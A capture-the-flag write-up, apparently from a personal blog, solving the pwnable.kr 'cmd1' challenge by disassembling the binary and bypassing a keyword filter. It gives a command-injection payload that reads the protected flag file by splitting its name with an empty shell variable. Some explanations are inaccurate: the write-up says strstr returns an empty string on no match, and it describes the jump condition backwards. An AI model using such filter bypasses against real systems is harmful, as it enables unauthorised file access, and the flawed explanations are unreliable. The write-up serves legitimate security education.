< Home

This was a very easy one

cmd1@pwnable:~$ ls -ls
total 20
12 -r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14  2015 cmd1
 4 -rw-r--r-- 1 root root      320 Mar 23  2018 cmd1.c
 4 -r--r----- 1 root cmd1_pwn   48 Jul 14  2015 flag

We copy the cmd1 file and execute it to see what is happening

cmd1@pwnable:~$ ./cmd1
Segmentation fault (core dumped)

Ok, seems like things are expected and not checked if they are missing. Let’s open it in Ghidra

Function: MAIN

00400603   PUSH       RBP
00400604   MOV        RBP,RSP
00400607   SUB        RSP,0x20
0040060b   MOV        dword ptr [RBP + local_c],param_1
0040060e   MOV        qword ptr [RBP + local_18],param_2
00400612   MOV        qword ptr [RBP + local_20],RDX
00400616   MOV        param_1=>s_PATH=/fuckyouverymuch_00400768,s_PA   = "PATH=/fuckyouverymuch"
0040061b   MOV        EAX,0x0
00400620   CALL       putenv int putenv(char * __string)
00400625   MOV        RAX,qword ptr [RBP + local_18]
00400629   ADD        RAX,0x8
0040062d   MOV        RAX,qword ptr [RAX]
00400630   MOV        param_1,RAX
00400633   CALL       filter undefined filter()
00400638   TEST       EAX,EAX
0040063a   JZ         LAB_00400643
0040063c   MOV        EAX,0x0
00400641   JMP        LAB_00400660
       LAB_00400643        XREF[1]:     0040063a(j)  
00400643   MOV        RAX,qword ptr [RBP + local_18]
00400647   ADD        RAX,0x8
0040064b   MOV        RAX,qword ptr [RAX]
0040064e   MOV        param_1,RAX
00400651   MOV        EAX,0x0
00400656   CALL       system int system(char * __command)
0040065b   MOV        EAX,0x0
       LAB_00400660        XREF[1]:     00400641(j)  
00400660   LEAVE
00400661   RET

Not a lot to say. The first part uses the putenv function (00400620) to set PATH to gibberish and make it unusable. So we will need to provide full path. Then we see that param_2 (argv) the second element is accessed and passed to a function named filter (00400633). Filter seems to return a boolean or an integer. If it returns false or zero it will JZ (0040063a) over the forced JMP (00400641) to exit.

If we do not jump to the end we will call system (00400656) with what seems to be argv[1] (00400647).

Let us check what makes us skip this powerful system command.

Function: FILTER

00400594   PUSH       RBP
00400595   MOV        RBP,RSP
00400598   SUB        RSP,0x20
0040059c   MOV        qword ptr [RBP + local_20],RDI
004005a0   MOV        dword ptr [RBP + local_c],0x0
004005a7   MOV        RAX,qword ptr [RBP + local_20]
004005ab   MOV        ESI=>DAT_0040075c,DAT_0040075c     = 66h    f
004005b0   MOV        RDI,RAX
004005b3   CALL       strstr char * strstr(char * __haystack,
004005b8   TEST       RAX,RAX
004005bb   SETNZ      AL
004005be   MOVZX      EAX,AL
004005c1   ADD        dword ptr [RBP + local_c],EAX
004005c4   MOV        RAX,qword ptr [RBP + local_20]
004005c8   MOV        ESI=>DAT_00400761,DAT_00400761     = 73h    s
004005cd   MOV        RDI,RAX
004005d0   CALL       strstr char * strstr(char * __haystack,
004005d5   TEST       RAX,RAX
004005d8   SETNZ      AL
004005db   MOVZX      EAX,AL
004005de   ADD        dword ptr [RBP + local_c],EAX
004005e1   MOV        RAX,qword ptr [RBP + local_20]
004005e5   MOV        ESI=>DAT_00400764,DAT_00400764     = 74h    t
004005ea   MOV        RDI,RAX
004005ed   CALL       strstr char * strstr(char * __haystack,
004005f2   TEST       RAX,RAX
004005f5   SETNZ      AL
004005f8   MOVZX      EAX,AL
004005fb   ADD        dword ptr [RBP + local_c],EAX
004005fe   MOV        EAX,dword ptr [RBP + local_c]
00400601   LEAVE
00400602   RET

Filter seems to do what the function name says. It checks if our input provides any words that strstr matches and if so will add it to local_c. So it seems to be returning an integer and not a boolean.

But a new instruction appears. SETNZ, which in combination with TEST will set AL to 0x01 if EAX does not contain the 0x0 char. When strstr doesn’t find anything it returns an empty string.

The strings it searches for are


Ok, we need to cat our flag file. PATH has been unset so we need to use the absolute file names

$ ./cmd1 '/bin/cat /home/cmd1/flag'

Now, we can’t use the flag word… But the check isn’t that sophisticated. Why not just use a non-existinging variable?

$ ./cmd1 '/bin/cat /home/cmd1/fla${mldb}g'

That was easy. Many other solutions to this exist, what they are trying to filter out is you using symbolic links in the tmp folder, you forking a shell,… but as the checks are very strict, they are very easy to circumvent.

< Home